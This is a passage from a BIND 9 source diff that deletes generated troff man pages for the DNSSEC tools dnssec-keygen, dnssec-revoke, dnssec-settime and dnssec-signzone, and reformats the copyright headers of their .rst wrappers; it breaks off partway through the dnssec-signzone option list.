-case\-insensitive. The default is ZONE for DNSKEY generation.
-.TP
-.B \fB\-p protocol\fP
-This option sets the protocol value for the generated key, for use with
-\fB\-T KEY\fP\&. The protocol is a number between 0 and 255. The default
-is 3 (DNSSEC). Other possible values for this argument are listed in
-\fI\%RFC 2535\fP and its successors.
-.TP
-.B \fB\-q\fP
-This option sets quiet mode, which suppresses unnecessary output, including progress
-indication. Without this option, when \fBdnssec\-keygen\fP is run
-interactively to generate an RSA or DSA key pair, it prints a
-string of symbols to \fBstderr\fP indicating the progress of the key
-generation. A \fB\&.\fP indicates that a random number has been found which
-passed an initial sieve test; \fB+\fP means a number has passed a single
-round of the Miller\-Rabin primality test; and a space ( ) means that the
-number has passed all the tests and is a satisfactory key.
-.TP
-.B \fB\-S key\fP
-This option creates a new key which is an explicit successor to an existing key.
-The name, algorithm, size, and type of the key are set to match
-the existing key. The activation date of the new key is set to
-the inactivation date of the existing one. The publication date is
-set to the activation date minus the prepublication interval,
-which defaults to 30 days.
-.TP
-.B \fB\-s strength\fP
-This option specifies the strength value of the key. The strength is a number
-between 0 and 15, and currently has no defined purpose in DNSSEC.
-.TP
-.B \fB\-T rrtype\fP
-This option specifies the resource record type to use for the key. \fBrrtype\fP
-must be either DNSKEY or KEY. The default is DNSKEY when using a
-DNSSEC algorithm, but it can be overridden to KEY for use with
-SIG(0).
-.TP
-.B \fB\-t type\fP
-This option indicates the type of the key for use with \fB\-T KEY\fP\&. \fBtype\fP
-must be one of AUTHCONF, NOAUTHCONF, NOAUTH, or NOCONF. The default
-is AUTHCONF. AUTH refers to the ability to authenticate data, and
-CONF to the ability to encrypt data.
-.TP
-.B \fB\-V\fP
-This option prints version information.
-.TP
-.B \fB\-v level\fP
-This option sets the debugging level.
-.UNINDENT
-.SH TIMING OPTIONS
-.sp
-Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS. If the
-argument begins with a \fB+\fP or \fB\-\fP, it is interpreted as an offset from
-the present time. For convenience, if such an offset is followed by one
-of the suffixes \fBy\fP, \fBmo\fP, \fBw\fP, \fBd\fP, \fBh\fP, or \fBmi\fP, then the offset is
-computed in years (defined as 365 24\-hour days, ignoring leap years),
-months (defined as 30 24\-hour days), weeks, days, hours, or minutes,
-respectively. Without a suffix, the offset is computed in seconds. To
-explicitly prevent a date from being set, use \fBnone\fP or \fBnever\fP\&.
-.INDENT 0.0
-.TP
-.B \fB\-P date/offset\fP
-This option sets the date on which a key is to be published to the zone. After
-that date, the key is included in the zone but is not used
-to sign it. If not set, and if the \fB\-G\fP option has not been used, the
-default is the current date.
-.TP
-.B \fB\-P sync date/offset\fP
-This option sets the date on which CDS and CDNSKEY records that match this key
-are to be published to the zone.
-.TP
-.B \fB\-A date/offset\fP
-This option sets the date on which the key is to be activated. After that date,
-the key is included in the zone and used to sign it. If not set,
-and if the \fB\-G\fP option has not been used, the default is the current date. If set,
-and \fB\-P\fP is not set, the publication date is set to the
-activation date minus the prepublication interval.
-.TP
-.B \fB\-R date/offset\fP
-This option sets the date on which the key is to be revoked. After that date, the
-key is flagged as revoked. It is included in the zone and
-is used to sign it.
-.TP
-.B \fB\-I date/offset\fP
-This option sets the date on which the key is to be retired. After that date, the
-key is still included in the zone, but it is not used to
-sign it.
-.TP
-.B \fB\-D date/offset\fP
-This option sets the date on which the key is to be deleted. After that date, the
-key is no longer included in the zone. (However, it may remain in the key
-repository.)
-.TP
-.B \fB\-D sync date/offset\fP
-This option sets the date on which the CDS and CDNSKEY records that match this
-key are to be deleted.
-.TP
-.B \fB\-i interval\fP
-This option sets the prepublication interval for a key. If set, then the
-publication and activation dates must be separated by at least this
-much time. If the activation date is specified but the publication
-date is not, the publication date defaults to this much time
-before the activation date; conversely, if the publication date is
-specified but not the activation date, activation is set to
-this much time after publication.
-.sp
-If the key is being created as an explicit successor to another key,
-then the default prepublication interval is 30 days; otherwise it is
-zero.
-.sp
-As with date offsets, if the argument is followed by one of the
-suffixes \fBy\fP, \fBmo\fP, \fBw\fP, \fBd\fP, \fBh\fP, or \fBmi\fP, the interval is
-measured in years, months, weeks, days, hours, or minutes,
-respectively. Without a suffix, the interval is measured in seconds.
-.UNINDENT
-.SH GENERATED KEYS
-.sp
-When \fBdnssec\-keygen\fP completes successfully, it prints a string of the
-form \fBKnnnn.+aaa+iiiii\fP to the standard output. This is an
-identification string for the key it has generated.
-.INDENT 0.0
-.IP \(bu 2
-\fBnnnn\fP is the key name.
-.IP \(bu 2
-\fBaaa\fP is the numeric representation of the algorithm.
-.IP \(bu 2
-\fBiiiii\fP is the key identifier (or footprint).
-.UNINDENT
-.sp
-\fBdnssec\-keygen\fP creates two files, with names based on the printed
-string. \fBKnnnn.+aaa+iiiii.key\fP contains the public key, and
-\fBKnnnn.+aaa+iiiii.private\fP contains the private key.
-.sp
-The \fB\&.key\fP file contains a DNSKEY or KEY record. When a zone is being
-signed by \fBnamed\fP or \fBdnssec\-signzone \-S\fP, DNSKEY records are
-included automatically. In other cases, the \fB\&.key\fP file can be
-inserted into a zone file manually or with an \fB$INCLUDE\fP statement.
-.sp
-The \fB\&.private\fP file contains algorithm\-specific fields. For obvious
-security reasons, this file does not have general read permission.
-.SH EXAMPLE
-.sp
-To generate an ECDSAP256SHA256 zone\-signing key for the zone
-\fBexample.com\fP, issue the command:
-.sp
-\fBdnssec\-keygen \-a ECDSAP256SHA256 example.com\fP
-.sp
-The command prints a string of the form:
-.sp
-\fBKexample.com.+013+26160\fP
-.sp
-In this example, \fBdnssec\-keygen\fP creates the files
-\fBKexample.com.+013+26160.key\fP and \fBKexample.com.+013+26160.private\fP\&.
-.sp
-To generate a matching key\-signing key, issue the command:
-.sp
-\fBdnssec\-keygen \-a ECDSAP256SHA256 \-f KSK example.com\fP
-.SH SEE ALSO
-.sp
-\fBdnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual, \fI\%RFC 2539\fP,
-\fI\%RFC 2845\fP, \fI\%RFC 4034\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnssec-keygen.rst b/doc/man/dnssec-keygen.rst
index 5c87c35471..70e0c545b5 100644
--- a/doc/man/dnssec-keygen.rst
+++ b/doc/man/dnssec-keygen.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dnssec/dnssec-keygen.rst
\ No newline at end of file
+.. include:: ../../bin/dnssec/dnssec-keygen.rst
diff --git a/doc/man/dnssec-revoke.1in b/doc/man/dnssec-revoke.1in
deleted file mode 100644
index 11c65032e5..0000000000
--- a/doc/man/dnssec-revoke.1in
+++ /dev/null
@@ -1,86 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSSEC-REVOKE" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnssec-revoke \- set the REVOKED bit on a DNSSEC key
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnssec\-revoke\fP [\fB\-hr\fP] [\fB\-v\fP level] [\fB\-V\fP] [\fB\-K\fP directory] [\fB\-E\fP engine] [\fB\-f\fP] [\fB\-R\fP] {keyfile}
-.SH DESCRIPTION
-.sp
-\fBdnssec\-revoke\fP reads a DNSSEC key file, sets the REVOKED bit on the
-key as defined in \fI\%RFC 5011\fP, and creates a new pair of key files
-containing the now\-revoked key.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-h\fP
-This option emits a usage message and exits.
-.TP
-.B \fB\-K directory\fP
-This option sets the directory in which the key files are to reside.
-.TP
-.B \fB\-r\fP
-This option indicates to remove the original keyset files after writing the new keyset files.
-.TP
-.B \fB\-v level\fP
-This option sets the debugging level.
-.TP
-.B \fB\-V\fP
-This option prints version information.
-.TP
-.B \fB\-E engine\fP
-This option specifies the cryptographic hardware to use, when applicable.
-.sp
-When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
-engine identifier that drives the cryptographic accelerator or
-hardware service module (usually \fBpkcs11\fP). When BIND is
-built with native PKCS#11 cryptography (\fB\-\-enable\-native\-pkcs11\fP), it
-defaults to the path of the PKCS#11 provider library specified via
-\fB\-\-with\-pkcs11\fP\&.
-.TP
-.B \fB\-f\fP
-This option indicates a forced overwrite and causes \fBdnssec\-revoke\fP to write the new key pair,
-even if a file already exists matching the algorithm and key ID of
-the revoked key.
-.TP
-.B \fB\-R\fP
-This option prints the key tag of the key with the REVOKE bit set, but does not
-revoke the key.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBdnssec\-keygen(8)\fP, BIND 9 Administrator Reference Manual, \fI\%RFC 5011\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnssec-revoke.rst b/doc/man/dnssec-revoke.rst
index ddeee9dfd3..a5a71ab07f 100644
--- a/doc/man/dnssec-revoke.rst
+++ b/doc/man/dnssec-revoke.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dnssec/dnssec-revoke.rst
\ No newline at end of file
+.. include:: ../../bin/dnssec/dnssec-revoke.rst
diff --git a/doc/man/dnssec-settime.1in b/doc/man/dnssec-settime.1in
deleted file mode 100644
index 32ae197b54..0000000000
--- a/doc/man/dnssec-settime.1in
+++ /dev/null
@@ -1,246 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSSEC-SETTIME" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnssec-settime \- set the key timing metadata for a DNSSEC key
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnssec\-settime\fP [\fB\-f\fP] [\fB\-K\fP directory] [\fB\-L\fP ttl] [\fB\-P\fP date/offset] [\fB\-P\fP ds date/offset] [\fB\-P\fP sync date/offset] [\fB\-A\fP date/offset] [\fB\-R\fP date/offset] [\fB\-I\fP date/offset] [\fB\-D\fP date/offset] [\fB\-D\fP ds date/offset] [\fB\-D\fP sync date/offset] [\fB\-S\fP key] [\fB\-i\fP interval] [\fB\-h\fP] [\fB\-V\fP] [\fB\-v\fP level] [\fB\-E\fP engine] {keyfile} [\fB\-s\fP] [\fB\-g\fP state] [\fB\-d\fP state date/offset] [\fB\-k\fP state date/offset] [\fB\-r\fP state date/offset] [\fB\-z\fP state date/offset]
-.SH DESCRIPTION
-.sp
-\fBdnssec\-settime\fP reads a DNSSEC private key file and sets the key
-timing metadata as specified by the \fB\-P\fP, \fB\-A\fP, \fB\-R\fP, \fB\-I\fP, and
-\fB\-D\fP options. The metadata can then be used by \fBdnssec\-signzone\fP or
-other signing software to determine when a key is to be published,
-whether it should be used for signing a zone, etc.
-.sp
-If none of these options is set on the command line,
-\fBdnssec\-settime\fP simply prints the key timing metadata already stored
-in the key.
-.sp
-When key metadata fields are changed, both files of a key pair
-(\fBKnnnn.+aaa+iiiii.key\fP and \fBKnnnn.+aaa+iiiii.private\fP) are
-regenerated.
-.sp
-Metadata fields are stored in the private file. A
-human\-readable description of the metadata is also placed in comments in
-the key file. The private file\(aqs permissions are always set to be
-inaccessible to anyone other than the owner (mode 0600).
-.sp
-When working with state files, it is possible to update the timing metadata in
-those files as well with \fB\-s\fP\&.  With this option, it is also possible to update key
-states with \fB\-d\fP (DS), \fB\-k\fP (DNSKEY), \fB\-r\fP (RRSIG of KSK), or \fB\-z\fP
-(RRSIG of ZSK). Allowed states are HIDDEN, RUMOURED, OMNIPRESENT, and
-UNRETENTIVE.
-.sp
-The goal state of the key can also be set with \fB\-g\fP\&. This should be either
-HIDDEN or OMNIPRESENT, representing whether the key should be removed from the
-zone or published.
-.sp
-It is NOT RECOMMENDED to manipulate state files manually, except for testing
-purposes.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-f\fP
-This option forces an update of an old\-format key with no metadata fields. Without
-this option, \fBdnssec\-settime\fP fails when attempting to update a
-legacy key. With this option, the key is recreated in the new
-format, but with the original key data retained. The key\(aqs creation
-date is set to the present time. If no other values are
-specified, then the key\(aqs publication and activation dates are also
-set to the present time.
-.TP
-.B \fB\-K directory\fP
-This option sets the directory in which the key files are to reside.
-.TP
-.B \fB\-L ttl\fP
-This option sets the default TTL to use for this key when it is converted into a
-DNSKEY RR. This is the TTL used when the key is imported into a zone,
-unless there was already a DNSKEY RRset in
-place, in which case the existing TTL takes precedence. If this
-value is not set and there is no existing DNSKEY RRset, the TTL
-defaults to the SOA TTL. Setting the default TTL to \fB0\fP or \fBnone\fP
-removes it from the key.
-.TP
-.B \fB\-h\fP
-This option emits a usage message and exits.
-.TP
-.B \fB\-V\fP
-This option prints version information.
-.TP
-.B \fB\-v level\fP
-This option sets the debugging level.
-.TP
-.B \fB\-E engine\fP
-This option specifies the cryptographic hardware to use, when applicable.
-.sp
-When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
-engine identifier that drives the cryptographic accelerator or
-hardware service module (usually \fBpkcs11\fP). When BIND is
-built with native PKCS#11 cryptography (\fB\-\-enable\-native\-pkcs11\fP), it
-defaults to the path of the PKCS#11 provider library specified via
-\fB\-\-with\-pkcs11\fP\&.
-.UNINDENT
-.SH TIMING OPTIONS
-.sp
-Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS. If the
-argument begins with a \fB+\fP or \fB\-\fP, it is interpreted as an offset from
-the present time. For convenience, if such an offset is followed by one
-of the suffixes \fBy\fP, \fBmo\fP, \fBw\fP, \fBd\fP, \fBh\fP, or \fBmi\fP, then the offset is
-computed in years (defined as 365 24\-hour days, ignoring leap years),
-months (defined as 30 24\-hour days), weeks, days, hours, or minutes,
-respectively. Without a suffix, the offset is computed in seconds. To
-explicitly prevent a date from being set, use \fBnone\fP or \fBnever\fP\&.
-.INDENT 0.0
-.TP
-.B \fB\-P date/offset\fP
-This option sets the date on which a key is to be published to the zone. After
-that date, the key is included in the zone but is not used
-to sign it.
-.TP
-.B \fB\-P ds date/offset\fP
-This option sets the date on which DS records that match this key have been
-seen in the parent zone.
-.TP
-.B \fB\-P sync date/offset\fP
-This option sets the date on which CDS and CDNSKEY records that match this key
-are to be published to the zone.
-.TP
-.B \fB\-A date/offset\fP
-This option sets the date on which the key is to be activated. After that date,
-the key is included in the zone and used to sign it.
-.TP
-.B \fB\-R date/offset\fP
-This option sets the date on which the key is to be revoked. After that date, the
-key is flagged as revoked. It is included in the zone and
-is used to sign it.
-.TP
-.B \fB\-I date/offset\fP
-This option sets the date on which the key is to be retired. After that date, the
-key is still included in the zone, but it is not used to
-sign it.
-.TP
-.B \fB\-D date/offset\fP
-This option sets the date on which the key is to be deleted. After that date, the
-key is no longer included in the zone. (However, it may remain in the key
-repository.)
-.TP
-.B \fB\-D ds date/offset\fP
-This option sets the date on which the DS records that match this key have
-been seen removed from the parent zone.
-.TP
-.B \fB\-D sync date/offset\fP
-This option sets the date on which the CDS and CDNSKEY records that match this
-key are to be deleted.
-.TP
-.B \fB\-S predecessor key\fP
-This option selects a key for which the key being modified is an explicit
-successor. The name, algorithm, size, and type of the predecessor key
-must exactly match those of the key being modified. The activation
-date of the successor key is set to the inactivation date of the
-predecessor. The publication date is set to the activation date
-minus the prepublication interval, which defaults to 30 days.
-.TP
-.B \fB\-i interval\fP
-This option sets the prepublication interval for a key. If set, then the
-publication and activation dates must be separated by at least this
-much time. If the activation date is specified but the publication
-date is not, the publication date defaults to this much time
-before the activation date; conversely, if the publication date is
-specified but not the activation date, activation is set to
-this much time after publication.
-.sp
-If the key is being created as an explicit successor to another key,
-then the default prepublication interval is 30 days; otherwise it is
-zero.
-.sp
-As with date offsets, if the argument is followed by one of the
-suffixes \fBy\fP, \fBmo\fP, \fBw\fP, \fBd\fP, \fBh\fP, or \fBmi\fP, the interval is
-measured in years, months, weeks, days, hours, or minutes,
-respectively. Without a suffix, the interval is measured in seconds.
-.UNINDENT
-.SH KEY STATE OPTIONS
-.sp
-To test dnssec\-policy it may be necessary to construct keys with artificial
-state information; these options are used by the testing framework for that
-purpose, but should never be used in production.
-.sp
-Known key states are HIDDEN, RUMOURED, OMNIPRESENT, and UNRETENTIVE.
-.INDENT 0.0
-.TP
-.B \fB\-s\fP
-This option indicates that when setting key timing data, the state file should also be updated.
-.TP
-.B \fB\-g state\fP
-This option sets the goal state for this key. Must be HIDDEN or OMNIPRESENT.
-.TP
-.B \fB\-d state date/offset\fP
-This option sets the DS state for this key as of the specified date, offset from the current date.
-.TP
-.B \fB\-k state date/offset\fP
-This option sets the DNSKEY state for this key as of the specified date, offset from the current date.
-.TP
-.B \fB\-r state date/offset\fP
-This option sets the RRSIG (KSK) state for this key as of the specified date, offset from the current date.
-.TP
-.B \fB\-z state date/offset\fP
-This option sets the RRSIG (ZSK) state for this key as of the specified date, offset from the current date.
-.UNINDENT
-.SH PRINTING OPTIONS
-.sp
-\fBdnssec\-settime\fP can also be used to print the timing metadata
-associated with a key.
-.INDENT 0.0
-.TP
-.B \fB\-u\fP
-This option indicates that times should be printed in Unix epoch format.
-.TP
-.B \fB\-p C/P/Pds/Psync/A/R/I/D/Dds/Dsync/all\fP
-This option prints a specific metadata value or set of metadata values.
-The \fB\-p\fP option may be followed by one or more of the following letters or
-strings to indicate which value or values to print: \fBC\fP for the
-creation date, \fBP\fP for the publication date, \fBPds\(ga for the DS publication
-date, \(ga\(gaPsync\fP for the CDS and CDNSKEY publication date, \fBA\fP for the
-activation date, \fBR\fP for the revocation date, \fBI\fP for the inactivation
-date, \fBD\fP for the deletion date, \fBDds\fP for the DS deletion date,
-and \fBDsync\fP for the CDS and CDNSKEY deletion date. To print all of the
-metadata, use \fBall\fP\&.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBdnssec\-keygen(8)\fP, \fBdnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual,
-\fI\%RFC 5011\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnssec-settime.rst b/doc/man/dnssec-settime.rst
index 68f78c9a98..c1bb692f4e 100644
--- a/doc/man/dnssec-settime.rst
+++ b/doc/man/dnssec-settime.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dnssec/dnssec-settime.rst
\ No newline at end of file
+.. include:: ../../bin/dnssec/dnssec-settime.rst
diff --git a/doc/man/dnssec-signzone.1in b/doc/man/dnssec-signzone.1in
deleted file mode 100644
index e999d2d1fc..0000000000
--- a/doc/man/dnssec-signzone.1in
+++ /dev/null
@@ -1,417 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSSEC-SIGNZONE" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnssec-signzone \- DNSSEC zone signing tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnssec\-signzone\fP [\fB\-a\fP] [\fB\-c\fP class] [\fB\-d\fP directory] [\fB\-D\fP] [\fB\-E\fP engine] [\fB\-e\fP end\-time] [\fB\-f\fP output\-file] [\fB\-g\fP] [\fB\-h\fP] [\fB\-i\fP interval] [\fB\-I\fP input\-format] [\fB\-j\fP jitter] [\fB\-K\fP directory] [\fB\-k\fP key] [\fB\-L\fP serial] [\fB\-M\fP maxttl] [\fB\-N\fP soa\-serial\-format] [\fB\-o\fP origin] [\fB\-O\fP output\-format] [\fB\-P\fP] [\fB\-Q\fP] [\fB\-q\fP] [\fB\-R\fP] [\fB\-S\fP] [\fB\-s\fP start\-time] [\fB\-T\fP ttl] [\fB\-t\fP] [\fB\-u\fP] [\fB\-v\fP level] [\fB\-V\fP] [\fB\-X\fP extended end\-time] [\fB\-x\fP] [\fB\-z\fP] [\fB\-3\fP salt] [\fB\-H\fP iterations] [\fB\-A\fP] {zonefile} [key...]
-.SH DESCRIPTION
-.sp
-\fBdnssec\-signzone\fP signs a zone; it generates NSEC and RRSIG records
-and produces a signed version of the zone. The security status of
-delegations from the signed zone (that is, whether the child zones are
-secure) is determined by the presence or absence of a \fBkeyset\fP
-file for each child zone.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-a\fP
-This option verifies all generated signatures.
-.TP
-.B \fB\-c class\fP
-This option specifies the DNS class of the zone.
-.TP
-.B \fB\-C\fP
-This option sets compatibility mode, in which a \fBkeyset\-zonename\fP file is generated in addition
-to \fBdsset\-zonename\fP when signing a zone, for use by older versions
-of \fBdnssec\-signzone\fP\&.
-.TP
-.B \fB\-d directory\fP
-This option indicates the directory where BIND 9 should look for \fBdsset\-\fP or \fBkeyset\-\fP files.
-.TP
-.B \fB\-D\fP
-This option indicates that only those record types automatically managed by
-\fBdnssec\-signzone\fP, i.e., RRSIG, NSEC, NSEC3 and NSEC3PARAM records, should be included in the output.
-If smart signing (\fB\-S\fP) is used, DNSKEY records are also included.
-The resulting file can be included in the original zone file with
-\fB$INCLUDE\fP\&. This option cannot be combined with \fB\-O raw\fP,
-\fB\-O map\fP, or serial\-number updating.
-.TP
-.B \fB\-E engine\fP
-This option specifies the hardware to use for cryptographic
-operations, such as a secure key store used for signing, when applicable.
-.sp
-When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
-engine identifier that drives the cryptographic accelerator or
-hardware service module (usually \fBpkcs11\fP). When BIND is
-built with native PKCS#11 cryptography (\fB\-\-enable\-native\-pkcs11\fP), it
-defaults to the path of the PKCS#11 provider library specified via
-\fB\-\-with\-pkcs11\fP\&.
-.TP
-.B \fB\-g\fP
-This option indicates that DS records for child zones should be generated from a \fBdsset\-\fP or \fBkeyset\-\fP
-file. Existing DS records are removed.
-.TP
-.B \fB\-K directory\fP
-This option specifies the directory to search for DNSSEC keys. If not
-specified, it defaults to the current directory.
-.TP
-.B \fB\-k key\fP
-This option tells BIND 9 to treat the specified key as a key\-signing key, ignoring any key flags. This
-option may be specified multiple times.
-.TP
-.B \fB\-M maxttl\fP
-This option sets the maximum TTL for the signed zone. Any TTL higher than \fBmaxttl\fP
-in the input zone is reduced to \fBmaxttl\fP in the output. This
-provides certainty as to the largest possible TTL in the signed zone,
-which is useful to know when rolling keys. The maxttl is the longest
-possible time before signatures that have been retrieved by resolvers
-expire from resolver caches. Zones that are signed with this
-option should be configured to use a matching \fBmax\-zone\-ttl\fP in
-\fBnamed.conf\fP\&. (Note: This option is incompatible with \fB\-D\fP,
-because it modifies non\-DNSSEC data in the output zone.)
-.TP
-.B \fB\-s start\-time\fP
-This option specifies the date and time when the generated RRSIG records become
-valid. This can be either an absolute or relative time. An absolute
-start time is indicated by a number in YYYYMMDDHHMMSS notation;
-20000530144500 denotes 14:45:00 UTC on May 30th, 2000. A relative
-start time is indicated by \fB+N\fP, which is N seconds from the current
-time. If no \fBstart\-time\fP is specified, the current time minus 1
-hour (to allow for clock skew) is used.
-.TP
-.B \fB\-e end\-time\fP
-This option specifies the date and time when the generated RRSIG records expire. As
-with \fBstart\-time\fP, an absolute time is indicated in YYYYMMDDHHMMSS
-notation. A time relative to the start time is indicated with \fB+N\fP,
-which is N seconds from the start time. A time relative to the
-current time is indicated with \fBnow+N\fP\&. If no \fBend\-time\fP is
-specified, 30 days from the start time is the default.
-\fBend\-time\fP must be later than \fBstart\-time\fP\&.
-.TP
-.B \fB\-X extended end\-time\fP
-This option specifies the date and time when the generated RRSIG records for the
-DNSKEY RRset expire. This is to be used in cases when the DNSKEY
-signatures need to persist longer than signatures on other records;
-e.g., when the private component of the KSK is kept offline and the
-KSK signature is to be refreshed manually.
-.sp
-As with \fBend\-time\fP, an absolute time is indicated in
-YYYYMMDDHHMMSS notation. A time relative to the start time is
-indicated with \fB+N\fP, which is N seconds from the start time. A time
-relative to the current time is indicated with \fBnow+N\fP\&. If no
-\fBextended end\-time\fP is specified, the value of \fBend\-time\fP is used
-as the default. (\fBend\-time\fP, in turn, defaults to 30 days from the
-start time.) \fBextended end\-time\fP must be later than \fBstart\-time\fP\&.
-.TP
-.B \fB\-f output\-file\fP
-This option indicates the name of the output file containing the signed zone. The default
-is to append \fB\&.signed\fP to the input filename. If \fBoutput\-file\fP is
-set to \fB\-\fP, then the signed zone is written to the standard
-output, with a default output format of \fBfull\fP\&.
-.TP
-.B \fB\-h\fP
-This option prints a short summary of the options and arguments to
-\fBdnssec\-signzone\fP\&.
-.TP
-.B \fB\-V\fP
-This option prints version information.
-.TP
-.B \fB\-i interval\fP
-This option indicates that, when a previously signed zone is passed as input, records may be
-re\-signed. The \fBinterval\fP option specifies the cycle interval as an
-offset from the current time, in seconds. If a RRSIG record expires
-after the cycle interval, it is retained; otherwise, it is considered
-to be expiring soon and it is replaced.
-.sp
-The default cycle interval is one quarter of the difference between
-the signature end and start times. So if neither \fBend\-time\fP nor
-\fBstart\-time\fP is specified, \fBdnssec\-signzone\fP generates
-signatures that are valid for 30 days, with a cycle interval of 7.5
-days. Therefore, if any existing RRSIG records are due to expire in
-less than 7.5 days, they are replaced.
-.TP
-.B \fB\-I input\-format\fP
-This option sets the format of the input zone file. Possible formats are \fBtext\fP
-(the default), \fBraw\fP, and \fBmap\fP\&. This option is primarily
-intended to be used for dynamic signed zones, so that the dumped zone
-file in a non\-text format containing updates can be signed directly.
